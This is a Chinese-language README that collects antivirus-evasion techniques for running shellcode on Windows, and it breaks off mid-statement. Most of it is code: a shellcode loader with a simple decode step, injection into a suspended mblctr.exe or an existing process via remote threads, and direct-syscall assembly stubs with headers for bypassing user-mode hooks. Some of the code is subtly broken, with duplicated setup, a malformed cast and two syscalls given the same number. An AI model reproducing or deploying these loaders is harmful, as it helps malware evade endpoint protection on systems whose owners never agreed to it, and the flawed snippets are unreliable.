└── README.md /README.md: -------------------------------------------------------------------------------- 1 | # 免杀技术大杂烩---乱拳也打不死老师傅 2 | Author: Boi@Linton Lab 360 3 | 4 | [TOC] 5 | 6 | 左上角按钮可以看目录树 7 | 8 | --- 9 | 10 | 目前的反病毒安全软件,常见有三种,一种基于特征,一种基于行为,一种基于云查杀。云查杀的特点基本也可以概括为特征查杀。 11 | 12 | 对特征来讲,大多数杀毒软件会定义一个阈值,当文件内部的特征数量达到一定程度就会触发报警,也不排除杀软会针对某个EXP会限制特定的入口函数来查杀。当然还有通过md5,sha1等hash函数来识别恶意软件,这也是最简单粗暴,最容易绕过的。 针对特征的免杀较为好做,可以使用加壳改壳、添加/替换资源、修改已知特征码/会增加查杀概率的单词(比如某函数名为ExecutePayloadshellcode)、加密Shellcode等等。 13 | 14 | CreateThread 15 | CreateThreadEx 16 | 17 | xxx -> ntdll.dll -> win32API 18 | 19 | 对行为来讲,很多个API可能会触发杀软的监控,比如注册表操作、添加启动项、添加服务、添加用户、注入、劫持、创建进程、加载DLL等等。 针对行为的免杀,我们可以使用白名单、替换API、替换操作方式(如使用WMI/COM的方法操作文件)等等方法实现绕过。除常规的替换、使用未导出的API等姿势外,我们还可以使用通过直接系统调用的方式实现,比如使用内核层面Zw系列的API,绕过杀软对应用层的监控(如下图所示,使用ZwAllocateVirtualMemory函数替代VirtualAlloc)。 20 | 21 | ## Loader tech 22 | ### CreateThread 23 | ```c 24 | int main() 25 | { 26 | LPVOID lpvAddr = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 27 | unsigned char data[] = "\x00\x48\x83"; 28 | char a1[] = "\xfc\xe4\xc8"; 29 | 30 | SIZE_T Size = sizeof(data); 31 | 32 | //decrypt 33 | for (int i = 0; i < sizeof(a1); i++) { 34 | memcpy(&data[i * 3], &a1[i], 1); 35 | } 36 | 37 | RtlMoveMemory(lpvAddr, data, sizeof(data)); 38 | DWORD pa = 0x01; 39 | VirtualProtect(lpvAddr, sizeof(data), 0x10, &pa); 40 | 41 | if (lpvAddr != NULL) { 42 | HANDLE s; 43 | s = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpvAddr, data, 0, 0); 44 | WaitForSingleObject(s, INFINITE); 45 | } 46 | } 47 | ``` 48 | 49 | ### ThreadHijacking 50 | VirtualAllocEx(CreateNewProcess) 51 | ```c 52 | char a1[] = "\xfc\xe4\xc8\x00\x41\x51..."; 53 | 54 | SIZE_T size = 0; 55 | STARTUPINFOEXA si; 56 | PROCESS_INFORMATION pi; 57 | 58 | ZeroMemory(&si, sizeof(si)); 59 | si.StartupInfo.cb = sizeof(STARTUPINFOEXA); 60 | si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW; 61 | 62 | ZeroMemory(&si, sizeof(si)); 63 | si.StartupInfo.cb = sizeof(STARTUPINFOEXA); 64 | si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW; 65 | 66 | InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); 67 | 68 | BOOL success = CreateProcessA( 69 | NULL, 70 | (LPSTR)"C:\\Windows\\System32\\mblctr.exe", 71 | NULL, 72 | NULL, 73 | true, 74 | CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,//有扩展启动信息的结构体 75 | NULL, 76 | NULL, 77 | reinterpret_cast(&si), 78 | &pi); 79 | 80 | HANDLE notepadHandle = pi.hProcess; 81 | LPVOID remoteBuffer = VirtualAllocEx(notepadHandle, NULL, sizeof data, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); 82 | 83 | WriteProcessMemory(notepadHandle, remoteBuffer, data, sizeof data, NULL); 84 | HANDLE remoteThread = CreateRemoteThread(notepadHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); 85 | 86 | if (WaitForSingleObject(remoteThread, INFINITE) == WAIT_FAILED) { 87 | return 1; 88 | } 89 | 90 | if (ResumeThread(pi.hThread) == -1) { 91 | return 1; 92 | } 93 | ``` 94 | 95 | VirtualAllocEx(Use existing app) 96 | 97 | ```c 98 | HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, procID); 99 | if (hProc == INVALID_HANDLE_VALUE) { 100 | printf("Error opening process ID %d\n", procID); 101 | return 1; 102 | } 103 | void *alloc = VirtualAllocEx(hProc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 104 | if (alloc == NULL) { 105 | printf("Error allocating memory in remote process\n"); 106 | return 1; 107 | } 108 | if (WriteProcessMemory(hProc, alloc, shellcode, sizeof(shellcode), NULL) == 0) { 109 | printf("Error writing to remote process memory\n"); 110 | return 1; 111 | } 112 | HANDLE tRemote = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, NULL); 113 | if (tRemote == INVALID_HANDLE_VALUE) { 114 | printf("Error starting remote thread\n"); 115 | return 1; 116 | } 117 | WaitForSingleObject(tRemote, INFINITE) == WAIT_FAILED 118 | ``` 119 | 120 | ### VirtualProtect 121 | 122 | ```c 123 | // BOOL VirtualProtect( 124 | // LPVOID lpAddress, 125 | // SIZE_T dwSize, 126 | // DWORD flNewProtect, 127 | // PDWORD lpflOldProtect 128 | // ); 129 | 130 | LPVOID lpvAddr = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 131 | DWORD pa = 0x01; 132 | VirtualProtect(lpvAddr, sizeof(data), PAGE_EXECUTE, &pa); 133 | //PAGE_EXECUTE 启用对页面的提交区域的执行访问。尝试写入提交的区域会导致访问冲突 134 | ``` 135 | 136 | ### sRDI 137 | https://github.com/monoxgas/sRDI 138 | 139 | ![-w888](https://i.loli.net/2021/01/18/hwA38dpSKGcFzjC.jpg) 140 | 141 | ### 系统直接调用 142 | Windows操作系统中实际只使用了两个特权级别: 143 | 144 | 一个是Ring3层,平时我们所见到的应用程序运行在这一层,所以叫它用户层,也叫User-Mode。所以下次听到别人讲(Ring3、用户层、User-Mode)时,其实是在讲同一个概念。 145 | 146 | 一个是Ring0层,像操作系统内核(Kernel)这样重要的系统组件,以及设备驱动都是运行在Ring0,内核层,也叫Kernel-Mode。 147 | ![](https://i.loli.net/2021/01/18/oTnF7B3qfQjGad8.jpg) 148 | 149 | 通过这些保护层来隔离普通的用户程序,不能直接访问内存区域,以及运行在内核模式下的系统资源。 150 | 151 | 当一个用户层程序需要执行一个特权系统操作,或者访问内核资源时。处理器首先需要切换到Ring0模式下才能执行后面的操作。 152 | 153 | 切换Ring0的代码,也就是直接系统调用所在的地方。 154 | 155 | 我们通过监控Notepad.exe进程保存一个.txt文件,来演示一个应用层程序如何切换到内核模式执行的: 156 | ![](https://i.loli.net/2021/01/18/uJASWrpD4dGmkfw.jpg) 157 | 158 | 我们可以看到 notepad调用了kernel32模块中的WriteFile 函数,然后该函数内部又调用了ntdll中的NtWriteFile来到了Ring3与Ring0的临界点。 159 | 160 | 因为程序保存文件到磁盘上,所以操作系统需要访问相关的文件系统和设备驱动。应用层程序自己是不允许直接访问这些需要特权资源的。 161 | 162 | 应用程序直接访问设备驱动会引起一些意外的后果(当然操作系统不会出事,最多就是应用程序的执行流程出错导致崩溃)。所以,在进入内核层之前,调用的最后一个用户层API就是负责切换到内核模式的。 163 | 164 | CPU中通过执行syscall指令,来进入内核模式,至少x64架构是这样的。 165 | 166 | ![-w1078](https://i.loli.net/2021/01/18/3VIi6YBRvwmG7uP.jpg) 167 | 168 | 把被调用函数相关的参数PUSH到栈上以后,ntdll中的NtWriteFile函数的职责就是,设置EAX为对应的"系统调用号",最后执行syscall指令,CPU就来到了内核模式(Ring0)下执行。 169 | 170 | 进入内核模式后,内核通过diapatch table(SSDT),来找到和系统调用号对应的Kernel API,然后将用户层栈上的参数,拷贝到内核层的栈中,最后调用内核版本的ZwWriteFile函数。 171 | 172 | 当内核函数执行完成时,使用几乎相同的方法回到用户层,并返回内核API函数的返回值(指向接收数据的指针或文件句柄)。 173 | 174 | Windows系统架构图 175 | ![](https://i.loli.net/2021/01/18/nY8FZzJc1j4xq9e.jpg) 176 | 177 | 用户层的应用程序要想和底层系统交互,通常使用应用程序编程接口(Application Programming Interface )也就是所谓的API。如果你是编写C/C++应用的Windows程序开发程序员,通常使用 Win32 API。 178 | 179 | Win32API是微软封装的一套API接口,由几个DLL(所谓的Win32子系统DLL)组成。在Win32 API下面使用的是Naitve API(ntdll.dll),这个才是真正用户层和系统底层交互的接口,一般称为用户层和内核层之间的桥梁。 180 | 181 | 但是ntdll中函数大部分都没有被微软记录到官方的开发文档中,为了兼容性问题,大多数情况在写程序时,应该避免直接使用ntdll中的API。 182 | 183 | 如何通过编程来绕过Win32接口层,直接调用系统API并绕过潜在的Ring3层Hook? 184 | 185 | #### system.asm 186 | ```c 187 | .code 188 | 189 | ; Reference: https://j00ru.vexillium.org/syscalls/nt/64/ 190 | 191 | ; Windows 7 SP1 / Server 2008 R2 specific syscalls 192 | 193 | NtCreateThread7SP1 proc 194 | mov r10, rcx 195 | mov eax, 4Bh 196 | syscall 197 | ret 198 | NtCreateThread7SP1 endp 199 | 200 | ZwOpenProcess7SP1 proc 201 | mov r10, rcx 202 | mov eax, 23h 203 | syscall 204 | ret 205 | ZwOpenProcess7SP1 endp 206 | 207 | ZwClose7SP1 proc 208 | mov r10, rcx 209 | mov eax, 0Ch 210 | syscall 211 | ret 212 | ZwClose7SP1 endp 213 | 214 | ZwWriteVirtualMemory7SP1 proc 215 | mov r10, rcx 216 | mov eax, 37h 217 | syscall 218 | ret 219 | ZwWriteVirtualMemory7SP1 endp 220 | 221 | ZwProtectVirtualMemory7SP1 proc 222 | mov r10, rcx 223 | mov eax, 4Dh 224 | syscall 225 | ret 226 | ZwProtectVirtualMemory7SP1 endp 227 | 228 | ZwQuerySystemInformation7SP1 proc 229 | mov r10, rcx 230 | mov eax, 33h 231 | syscall 232 | ret 233 | ZwQuerySystemInformation7SP1 endp 234 | 235 | NtAllocateVirtualMemory7SP1 proc 236 | mov r10, rcx 237 | mov eax, 15h 238 | syscall 239 | ret 240 | NtAllocateVirtualMemory7SP1 endp 241 | 242 | NtFreeVirtualMemory7SP1 proc 243 | mov r10, rcx 244 | mov eax, 1Bh 245 | syscall 246 | ret 247 | NtFreeVirtualMemory7SP1 endp 248 | 249 | NtCreateFile7SP1 proc 250 | mov r10, rcx 251 | mov eax, 52h 252 | syscall 253 | ret 254 | NtCreateFile7SP1 endp 255 | 256 | ; Windows 8 / Server 2012 specific syscalls 257 | 258 | ZwOpenProcess80 proc 259 | mov r10, rcx 260 | mov eax, 24h 261 | syscall 262 | ret 263 | ZwOpenProcess80 endp 264 | 265 | ZwClose80 proc 266 | mov r10, rcx 267 | mov eax, 0Dh 268 | syscall 269 | ret 270 | ZwClose80 endp 271 | 272 | ZwWriteVirtualMemory80 proc 273 | mov r10, rcx 274 | mov eax, 38h 275 | syscall 276 | ret 277 | ZwWriteVirtualMemory80 endp 278 | 279 | ZwProtectVirtualMemory80 proc 280 | mov r10, rcx 281 | mov eax, 4Eh 282 | syscall 283 | ret 284 | ZwProtectVirtualMemory80 endp 285 | 286 | ZwQuerySystemInformation80 proc 287 | mov r10, rcx 288 | mov eax, 34h 289 | syscall 290 | ret 291 | ZwQuerySystemInformation80 endp 292 | 293 | NtAllocateVirtualMemory80 proc 294 | mov r10, rcx 295 | mov eax, 16h 296 | syscall 297 | ret 298 | NtAllocateVirtualMemory80 endp 299 | 300 | NtFreeVirtualMemory80 proc 301 | mov r10, rcx 302 | mov eax, 1Ch 303 | syscall 304 | ret 305 | NtFreeVirtualMemory80 endp 306 | 307 | NtCreateFile80 proc 308 | mov r10, rcx 309 | mov eax, 53h 310 | syscall 311 | ret 312 | NtCreateFile80 endp 313 | 314 | ; Windows 8.1 / Server 2012 R2 specific syscalls 315 | 316 | NtCreateThread81 proc 317 | mov r10, rcx 318 | mov eax, 4Dh 319 | syscall 320 | ret 321 | NtCreateThread81 endp 322 | 323 | ZwOpenProcess81 proc 324 | mov r10, rcx 325 | mov eax, 25h 326 | syscall 327 | ret 328 | ZwOpenProcess81 endp 329 | 330 | ZwClose81 proc 331 | mov r10, rcx 332 | mov eax, 0Eh 333 | syscall 334 | ret 335 | ZwClose81 endp 336 | 337 | ZwWriteVirtualMemory81 proc 338 | mov r10, rcx 339 | mov eax, 39h 340 | syscall 341 | ret 342 | ZwWriteVirtualMemory81 endp 343 | 344 | ZwProtectVirtualMemory81 proc 345 | mov r10, rcx 346 | mov eax, 4Fh 347 | syscall 348 | ret 349 | ZwProtectVirtualMemory81 endp 350 | 351 | ZwQuerySystemInformation81 proc 352 | mov r10, rcx 353 | mov eax, 35h 354 | syscall 355 | ret 356 | ZwQuerySystemInformation81 endp 357 | 358 | NtAllocateVirtualMemory81 proc 359 | mov r10, rcx 360 | mov eax, 17h 361 | syscall 362 | ret 363 | NtAllocateVirtualMemory81 endp 364 | 365 | NtFreeVirtualMemory81 proc 366 | mov r10, rcx 367 | mov eax, 1Dh 368 | syscall 369 | ret 370 | NtFreeVirtualMemory81 endp 371 | 372 | NtCreateFile81 proc 373 | mov r10, rcx 374 | mov eax, 54h 375 | syscall 376 | ret 377 | NtCreateFile81 endp 378 | 379 | ; Windows 10 / Server 2016 specific syscalls 380 | 381 | ZwOpenProcess10 proc 382 | mov r10, rcx 383 | mov eax, 26h 384 | syscall 385 | ret 386 | ZwOpenProcess10 endp 387 | 388 | ZwClose10 proc 389 | mov r10, rcx 390 | mov eax, 0Fh 391 | syscall 392 | ret 393 | ZwClose10 endp 394 | 395 | ZwWriteVirtualMemory10 proc 396 | mov r10, rcx 397 | mov eax, 3Ah 398 | syscall 399 | ret 400 | ZwWriteVirtualMemory10 endp 401 | 402 | ZwProtectVirtualMemory10 proc 403 | mov r10, rcx 404 | mov eax, 50h 405 | syscall 406 | ret 407 | ZwProtectVirtualMemory10 endp 408 | 409 | ZwQuerySystemInformation10 proc 410 | mov r10, rcx 411 | mov eax, 36h 412 | syscall 413 | ret 414 | ZwQuerySystemInformation10 endp 415 | 416 | NtAllocateVirtualMemory10 proc 417 | mov r10, rcx 418 | mov eax, 18h 419 | syscall 420 | ret 421 | NtAllocateVirtualMemory10 endp 422 | 423 | NtFreeVirtualMemory10 proc 424 | mov r10, rcx 425 | mov eax, 1Eh 426 | syscall 427 | ret 428 | NtFreeVirtualMemory10 endp 429 | 430 | NtCreateFile10 proc 431 | mov r10, rcx 432 | mov eax, 55h 433 | syscall 434 | ret 435 | NtCreateFile10 endp 436 | 437 | NtCreateThread10 proc 438 | mov r10, rcx 439 | mov eax, 4Eh 440 | syscall 441 | ret 442 | NtCreateThread10 endp 443 | 444 | NtCreateThreadEx10 proc 445 | mov r10, rcx 446 | mov eax, 0BBh 447 | syscall 448 | ret 449 | NtCreateThreadEx10 endp 450 | 451 | NtAllocateVirtualMemoryEx10 proc 452 | mov r10, rcx 453 | mov eax, 0BBh 454 | syscall 455 | ret 456 | NtAllocateVirtualMemoryEx10 endp 457 | end 458 | ``` 459 | #### xx.h 460 | ```c 461 | #pragma once 462 | 463 | #include 464 | 465 | #define STATUS_SUCCESS 0 466 | #define OBJ_CASE_INSENSITIVE 0x00000040L 467 | #define FILE_OVERWRITE_IF 0x00000005 468 | #define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 469 | typedef LONG KPRIORITY; 470 | 471 | #define InitializeObjectAttributes( i, o, a, r, s ) { \ 472 | (i)->Length = sizeof( OBJECT_ATTRIBUTES ); \ 473 | (i)->RootDirectory = r; \ 474 | (i)->Attributes = a; \ 475 | (i)->ObjectName = o; \ 476 | (i)->SecurityDescriptor = s; \ 477 | (i)->SecurityQualityOfService = NULL; \ 478 | } 479 | 480 | typedef struct _UNICODE_STRING { 481 | USHORT Length; 482 | USHORT MaximumLength; 483 | PWSTR Buffer; 484 | } UNICODE_STRING, * PUNICODE_STRING; 485 | 486 | typedef const UNICODE_STRING* PCUNICODE_STRING; 487 | 488 | typedef struct _WIN_VER_INFO { 489 | WCHAR chOSMajorMinor[8]; 490 | DWORD dwBuildNumber; 491 | UNICODE_STRING ProcName; 492 | HANDLE hTargetPID; 493 | LPCSTR lpApiCall; 494 | INT SystemCall; 495 | } WIN_VER_INFO, * PWIN_VER_INFO; 496 | 497 | typedef struct _OBJECT_ATTRIBUTES { 498 | ULONG Length; 499 | HANDLE RootDirectory; 500 | PUNICODE_STRING ObjectName; 501 | ULONG Attributes; 502 | PVOID SecurityDescriptor; 503 | PVOID SecurityQualityOfService; 504 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 505 | 506 | typedef struct _CLIENT_ID { 507 | HANDLE UniqueProcess; 508 | HANDLE UniqueThread; 509 | } CLIENT_ID, * PCLIENT_ID; 510 | 511 | typedef enum _SYSTEM_INFORMATION_CLASS { 512 | SystemBasicInformation, 513 | SystemProcessorInformation, 514 | SystemPerformanceInformation, 515 | SystemTimeOfDayInformation, 516 | SystemPathInformation, 517 | SystemProcessInformation, 518 | SystemCallCountInformation, 519 | SystemDeviceInformation, 520 | SystemProcessorPerformanceInformation, 521 | SystemFlagsInformation, 522 | SystemCallTimeInformation, 523 | SystemModuleInformation 524 | } SYSTEM_INFORMATION_CLASS, * PSYSTEM_INFORMATION_CLASS; 525 | 526 | typedef struct _INITIAL_TEB 527 | { 528 | struct 529 | { 530 | PVOID OldStackBase; 531 | PVOID OldStackLimit; 532 | } OldInitialTeb; 533 | PVOID StackBase; 534 | PVOID StackLimit; 535 | PVOID StackAllocationBase; 536 | } INITIAL_TEB, * PINITIAL_TEB; 537 | 538 | typedef struct _SYSTEM_PROCESSES { 539 | ULONG NextEntryDelta; 540 | ULONG ThreadCount; 541 | ULONG Reserved1[6]; 542 | LARGE_INTEGER CreateTime; 543 | LARGE_INTEGER UserTime; 544 | LARGE_INTEGER KernelTime; 545 | UNICODE_STRING ProcessName; 546 | KPRIORITY BasePriority; 547 | HANDLE ProcessId; 548 | HANDLE InheritedFromProcessId; 549 | } SYSTEM_PROCESSES, * PSYSTEM_PROCESSES; 550 | 551 | typedef struct _IO_STATUS_BLOCK 552 | { 553 | union 554 | { 555 | LONG Status; 556 | PVOID Pointer; 557 | }; 558 | ULONG Information; 559 | } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; 560 | 561 | 562 | // Windows 7 SP1 / Server 2008 R2 specific Syscalls 563 | EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation7SP1(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); 564 | EXTERN_C NTSTATUS ZwOpenProcess7SP1(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); 565 | EXTERN_C NTSTATUS NtFreeVirtualMemory7SP1(HANDLE ProcessHandle, PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType); 566 | EXTERN_C NTSTATUS NtAllocateVirtualMemory7SP1(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); 567 | EXTERN_C NTSTATUS ZwProtectVirtualMemory7SP1(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); 568 | EXTERN_C NTSTATUS NtCreateThread7SP1( 569 | OUT PHANDLE ThreadHandle, 570 | IN ACCESS_MASK DesiredAccess, 571 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 572 | IN HANDLE ProcessHandle, 573 | OUT PCLIENT_ID ClientId, 574 | IN PCONTEXT ThreadContext, 575 | IN PINITIAL_TEB InitialTeb, 576 | IN BOOLEAN CreateSuspended 577 | ); 578 | 579 | // Windows 8 / Server 2012 specific Syscalls 580 | EXTERN_C NTSTATUS NtAllocateVirtualMemory80(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); 581 | EXTERN_C NTSTATUS NtCreateThread80( 582 | OUT PHANDLE ThreadHandle, 583 | IN ACCESS_MASK DesiredAccess, 584 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 585 | IN HANDLE ProcessHandle, 586 | OUT PCLIENT_ID ClientId, 587 | IN PCONTEXT ThreadContext, 588 | IN PINITIAL_TEB InitialTeb, 589 | IN BOOLEAN CreateSuspended 590 | ); 591 | 592 | // Windows 8.1 / Server 2012 R2 specific Syscalls 593 | EXTERN_C NTSTATUS ZwOpenProcess81(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); 594 | EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation81(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); 595 | EXTERN_C NTSTATUS NtFreeVirtualMemory81(HANDLE ProcessHandle, PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType); 596 | EXTERN_C NTSTATUS NtAllocateVirtualMemory81(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); 597 | EXTERN_C NTSTATUS ZwProtectVirtualMemory81(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); 598 | EXTERN_C NTSTATUS NtCreateThread81( 599 | OUT PHANDLE ThreadHandle, 600 | IN ACCESS_MASK DesiredAccess, 601 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 602 | IN HANDLE ProcessHandle, 603 | OUT PCLIENT_ID ClientId, 604 | IN PCONTEXT ThreadContext, 605 | IN PINITIAL_TEB InitialTeb, 606 | IN BOOLEAN CreateSuspended 607 | ); 608 | 609 | // Windows 10 / Server 2016 specific Syscalls 610 | EXTERN_C NTSTATUS ZwOpenProcess10(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); 611 | EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation10(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); 612 | EXTERN_C NTSTATUS NtFreeVirtualMemory10(HANDLE ProcessHandle, PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType); 613 | EXTERN_C NTSTATUS NtAllocateVirtualMemory10(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); 614 | EXTERN_C NTSTATUS ZwProtectVirtualMemory10(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); 615 | EXTERN_C NTSTATUS NtCreateThread10( 616 | OUT PHANDLE ThreadHandle, 617 | IN ACCESS_MASK DesiredAccess, 618 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 619 | IN HANDLE ProcessHandle, 620 | OUT PCLIENT_ID ClientId, 621 | IN PCONTEXT ThreadContext, 622 | IN PINITIAL_TEB InitialTeb, 623 | IN BOOLEAN CreateSuspended 624 | ); 625 | EXTERN_C NTSTATUS NtCreateThreadEx10( 626 | OUT PHANDLE hThread, 627 | IN ACCESS_MASK DesiredAccess, 628 | IN LPVOID ObjectAttributes, 629 | IN HANDLE ProcessHandle, 630 | IN LPTHREAD_START_ROUTINE lpStartAddress, 631 | IN LPVOID lpParameter, 632 | IN BOOL CreateSuspended, 633 | IN ULONG StackZeroBits, 634 | IN ULONG SizeOfStackCommit, 635 | IN ULONG SizeOfStackReserve, 636 | OUT LPVOID lpBytesBuffer 637 | ); 638 | EXTERN_C NTSTATUS NtAllocateVirtualMemoryEx10( 639 | _In_opt_ HANDLE Process, 640 | _In_opt_ PVOID* BaseAddress, 641 | _In_ SIZE_T* RegionSize, 642 | _In_ ULONG AllocationType, 643 | _In_ ULONG PageProtection, 644 | _Inout_updates_opt_(ParameterCount) MEM_EXTENDED_PARAMETER* Parameters, 645 | _In_ ULONG ParameterCount 646 | ); 647 | 648 | NTSTATUS(*NtAllocateVirtualMemoryEx) ( 649 | _In_opt_ HANDLE Process, 650 | _In_opt_ PVOID* BaseAddress, 651 | _In_ SIZE_T* RegionSize, 652 | _In_ ULONG AllocationType, 653 | _In_ ULONG PageProtection, 654 | _Inout_updates_opt_(ParameterCount) MEM_EXTENDED_PARAMETER* Parameters, 655 | _In_ ULONG ParameterCount 656 | ); 657 | 658 | NTSTATUS(*NtCreateThreadEx) ( 659 | OUT PHANDLE hThread, 660 | IN ACCESS_MASK DesiredAccess, 661 | IN LPVOID ObjectAttributes, 662 | IN HANDLE ProcessHandle, 663 | IN LPTHREAD_START_ROUTINE lpStartAddress, 664 | IN LPVOID lpParameter, 665 | IN BOOL CreateSuspended, 666 | IN ULONG StackZeroBits, 667 | IN ULONG SizeOfStackCommit, 668 | IN ULONG SizeOfStackReserve, 669 | OUT LPVOID lpBytesBuffer 670 | ); 671 | 672 | NTSTATUS(*NtAllocateVirtualMemory)( 673 | HANDLE ProcessHandle, 674 | PVOID* BaseAddress, 675 | ULONG_PTR ZeroBits, 676 | PSIZE_T RegionSize, 677 | ULONG AllocationType, 678 | ULONG Protect 679 | ); 680 | 681 | NTSTATUS(*ZwProtectVirtualMemory)( 682 | IN HANDLE ProcessHandle, 683 | IN PVOID* BaseAddress, 684 | IN SIZE_T* NumberOfBytesToProtect, 685 | IN ULONG NewAccessProtection, 686 | OUT PULONG OldAccessProtection 687 | ); 688 | 689 | NTSTATUS(*NtFreeVirtualMemory)( 690 | HANDLE ProcessHandle, 691 | PVOID* BaseAddress, 692 | IN OUT PSIZE_T RegionSize, 693 | ULONG FreeType 694 | ); 695 | 696 | NTSTATUS(*ZwOpenProcess)( 697 | PHANDLE ProcessHandle, 698 | ACCESS_MASK DesiredAccess, 699 | POBJECT_ATTRIBUTES ObjectAttributes, 700 | PCLIENT_ID ClientId 701 | ); 702 | 703 | NTSTATUS(WINAPI* ZwQuerySystemInformation)( 704 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 705 | PVOID SystemInformation, 706 | ULONG SystemInformationLength, 707 | PULONG ReturnLength 708 | ); 709 | 710 | NTSTATUS(*NtCreateThread)( 711 | OUT PHANDLE ThreadHandle, 712 | IN ACCESS_MASK DesiredAccess, 713 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 714 | IN HANDLE ProcessHandle, 715 | OUT PCLIENT_ID ClientId, 716 | IN PCONTEXT ThreadContext, 717 | IN PINITIAL_TEB InitialTeb, 718 | IN BOOLEAN CreateSuspended 719 | ); 720 | 721 | typedef NTSTATUS(NTAPI* _RtlGetVersion)( 722 | LPOSVERSIONINFOEXW lpVersionInformation 723 | ); 724 | 725 | typedef void (WINAPI* _RtlInitUnicodeString)( 726 | PUNICODE_STRING DestinationString, 727 | PCWSTR SourceString 728 | ); 729 | 730 | typedef NTSYSAPI BOOLEAN(NTAPI* _RtlEqualUnicodeString)( 731 | PUNICODE_STRING String1, 732 | PCUNICODE_STRING String2, 733 | BOOLEAN CaseInSensitive 734 | ); 735 | ``` 736 | #### xx.c 737 | ```c 738 | #undef _UNICODE 739 | #define _UNICODE 740 | #undef UNICODE 741 | #define UNICODE 742 | 743 | #include 744 | #include 745 | #include "Dumpert.h" 746 | 747 | #pragma comment (lib, "Dbghelp.lib") 748 | 749 | #define RPL_MASK 0x0003 750 | #define MODE_MASK 0x0001 751 | #define KGDT64_NULL 0x0000 752 | #define KGDT64_R0_CODE 0x0010 753 | #define KGDT64_R0_DATA 0x0018 754 | #define KGDT64_R3_CMCODE 0x0020 755 | #define KGDT64_R3_DATA 0x0028 756 | #define KGDT64_R3_CODE 0x0030 757 | #define KGDT64_SYS_TSS 0x0040 758 | #define KGDT64_R3_CMTEB 0x0050 759 | #define KGDT64_R0_LDT 0x0060 760 | 761 | DWORD WINAPI StartAddress(LPVOID lpThreadParameter) { 762 | return ((int(__stdcall*)(LPVOID))lpThreadParameter)(lpThreadParameter); 763 | } 764 | 765 | NTSTATUS MyInitTeb(PINITIAL_TEB InitialTeb) { 766 | PVOID StackBaseAddr = NULL; 767 | SIZE_T StackSize = 0x1000 * 10; 768 | NTSTATUS Status; 769 | 770 | Status = NtAllocateVirtualMemory(GetCurrentProcess(), 771 | (PVOID*)&StackBaseAddr, 772 | 0, 773 | &StackSize, 774 | MEM_RESERVE | MEM_COMMIT, 775 | PAGE_READWRITE); 776 | 777 | if (Status != 0) { 778 | printf("MyInitStack:%llx\n", Status); 779 | return Status; 780 | } 781 | InitialTeb->StackAllocationBase = (PVOID)StackBaseAddr; 782 | InitialTeb->StackBase = (PVOID)((INT64)StackBaseAddr + StackSize - 0x1000*5); 783 | InitialTeb->OldInitialTeb.OldStackBase = NULL; 784 | InitialTeb->OldInitialTeb.OldStackLimit = NULL; 785 | InitialTeb->StackLimit = StackBaseAddr; 786 | return STATUS_SUCCESS; 787 | } 788 | 789 | NTSTATUS MyInitContext( 790 | PCONTEXT pContext, 791 | PVOID ThreadFuncAddr, 792 | PVOID FuncArgAddr, 793 | PVOID StackBaseAddr) { 794 | // set rsp 795 | pContext->Rsp = (DWORD64)StackBaseAddr; 796 | // set ip and rcx 797 | pContext->Rip = 